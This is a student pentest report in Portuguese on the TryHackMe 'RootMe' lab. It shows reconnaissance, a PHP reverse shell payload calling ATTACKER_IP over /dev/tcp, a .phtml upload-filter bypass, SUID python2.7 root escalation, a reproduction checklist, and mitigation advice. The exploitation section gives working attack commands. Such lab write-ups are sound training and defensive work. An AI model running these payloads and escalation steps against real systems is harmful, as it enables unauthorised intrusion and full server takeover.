Professor: Lucas Antunes da Rocha Volfe

Autor: Rafael Vargas Rodrigues Alves

Disciplina: Tópicos em Redes de Computadores

Instituição: Universidade Comunitária da Região de Chapecó (Unochapecó)

RELATÓRIO TÉCNICO DE PENTEST

Máquina: RootMe - TryHackMe

Data: Dezembro de 2025

1. Resumo

Este relatório documenta a exploração completa da máquina RootMe disponibilizada na plataforma TryHackMe. O objetivo foi realizar um teste de penetração (pentest) em ambiente controlado, seguindo metodologias padrão da indústria.

A exploração foi bem-sucedida, resultando na obtenção de acesso root ao sistema. As principais vulnerabilidades identificadas foram: (1) upload irrestrito de arquivos com bypass de filtro de extensão, e (2) binário Python com permissão SUID que permitiu escalação de privilégios.

Classificação de Risco: CRÍTICO - As vulnerabilidades encontradas permitem comprometimento total do servidor.

2. Escopo e Regras de Engajamento

2.1 Alvo

- Plataforma: TryHackMe
- Máquina: RootMe
- IP do alvo: 10.10.170.130

2.2 Regras

- Testes realizados exclusivamente no ambiente autorizado do TryHackMe
- Utilização do AttackBox fornecido pela plataforma
- Objetivo: obter as flags user.txt e root.txt

3. Ferramentas Utilizadas

Ferramenta	Finalidade
Nmap 7.80	Escaneamento de portas e detecção de serviços
Gobuster 3.6	Enumeração de diretórios web
Netcat (nc)	Listener para reverse shell
PHP Reverse Shell	Payload para obter acesso remoto
Python 2.7	Escalação de privilégios via SUID

4. Metodologia Passo-a-Passo

4.1 Reconhecimento

O primeiro passo foi identificar os serviços ativos na máquina alvo utilizando o Nmap.

Comando executado:

```
nmap -sV -sC 10.10.170.130
```

Resultado:

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
```

4.2 Enumeração

Com o serviço web identificado, foi realizada enumeração de diretórios para descobrir recursos ocultos.

Comando executado:

```
gobuster dir -u http://10.10.170.130 -w /usr/share/wordlists/dirb/common.txt
```

Diretórios descobertos:

1. **/panel** (Status 301) - Página de upload de arquivos
2. **/uploads** (Status 301) - Diretório onde arquivos são armazenados
3. /css, /js (Status 301) - Recursos estáticos

Análise: A combinação de /panel (upload) com /uploads (armazenamento) indica uma vulnerabilidade clássica de upload de arquivos maliciosos.

4.3 Exploração

A exploração consistiu em fazer upload de um reverse shell PHP para obter acesso ao servidor.

Passo 1: Criação do payload (shell.php)

```
<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
?>
```

Passo 2: Bypass do filtro de extensão

O servidor bloqueou arquivos .php com a mensagem "PHP não é permitido!". O bypass foi realizado renomeando o arquivo para **shell.phtml**, extensão alternativa aceita pelo Apache para executar código PHP.

```
cp shell.php shell.phtml
```

Passo 3: Configurar listener e executar

```
# Terminal 1: Aguardar conexão
nc -lvnp 4444

# Navegador: Acessar o shell uploaded
http://10.10.170.130/uploads/shell.phtml
```

Resultado:

```
Connection received on 10.10.170.130 42348
www-data@ip-10-67-170-130:/var/www/html/uploads$
```

Flag user.txt obtida:

```
$ cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
```

4.4 Pós-Exploração (Escalação de Privilégios)

Com acesso como usuário www-data, o próximo objetivo foi escalar privilégios para root.

Passo 1: Buscar binários com SUID

```
find / -perm -4000 -type f 2>/dev/null
```

Descoberta crítica:

/usr/bin/python2.7

O binário Python com permissão SUID permite executar código Python com privilégios de root, independente do usuário que o executa.

Passo 2: Explorar SUID do Python

```
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Verificação:

```
$ whoami
root
```

Flag root.txt obtida:

```
# cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
```

5. Avaliação de Risco e Impacto

Vulnerabilidade	Severidade	CVSS	Impacto
Upload irrestrito de arquivos	**CRÍTICA**	9.8	Execução remota de código
Python SUID	**CRÍTICA**	7.8	Escalação para root

Impacto geral: Comprometimento total do servidor, possibilitando acesso a todos os dados, instalação de malware, uso como pivô para ataques internos e interrupção completa dos serviços.

6. Recomendações de Mitigação

6.1 Vulnerabilidade de Upload

1. **Validar tipos de arquivo pelo conteúdo (magic bytes),** não apenas pela extensão
2. **Implementar whitelist de extensões permitidas** (ex: apenas .jpg, .png, .pdf)

3. **Armazenar uploads fora do webroot** ou em servidor separado sem execução de scripts
4. **Renomear arquivos uploaded** com nomes aleatórios (UUID)
5. **Configurar o servidor web** para não executar scripts no diretório de uploads

6.2 Vulnerabilidade SUID

6. **Remover o bit SUID do Python:** chmod u-s /usr/bin/python2.7
7. **Auditar regularmente binários SUID:** find / -perm -4000 -type f
8. **Aplicar princípio do menor privilégio** em todos os serviços
9. **Utilizar capabilities do Linux** ao invés de SUID quando possível

7. Lições Aprendidas

1. **Defesa em profundidade é essencial:** Uma única vulnerabilidade (upload) levou ao comprometimento inicial, e uma segunda (SUID) permitiu controle total.
2. **Filtros client-side ou por extensão são insuficientes:** O bypass com .phtml demonstra que validações superficiais são facilmente contornadas.
3. **Configurações padrão são perigosas:** O Apache aceita múltiplas extensões PHP por padrão, o que amplia a superfície de ataque.
4. **Enumeração é fundamental:** Ferramentas como Gobuster revelam recursos ocultos que podem ser vetores de ataque.
5. **SUID é um vetor comum de escalação:** A verificação de binários SUID deve fazer parte de qualquer hardening de sistema Linux.
6. **Metodologia estruturada acelera resultados:** Seguir as fases reconhecimento → enumeração → exploração → pós-exploração organiza o processo e evita perda de informações.

8. Checklist de Reprodução

Para reproduzir esta exploração:

1. nmap -sV -sC <IP_ALVO>
2. gobuster dir -u http://<IP_ALVO> -w /usr/share/wordlists/dirb/common.txt
3. Criar shell.phtml com reverse shell PHP
4. Upload via /panel
5. nc -lvnp 4444
6. Acessar http://<IP_ALVO>/uploads/shell.phtml
7. cat /var/www/user.txt
8. find / -perm -4000 -type f 2>/dev/null
9. /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
10. cat /root/root.txt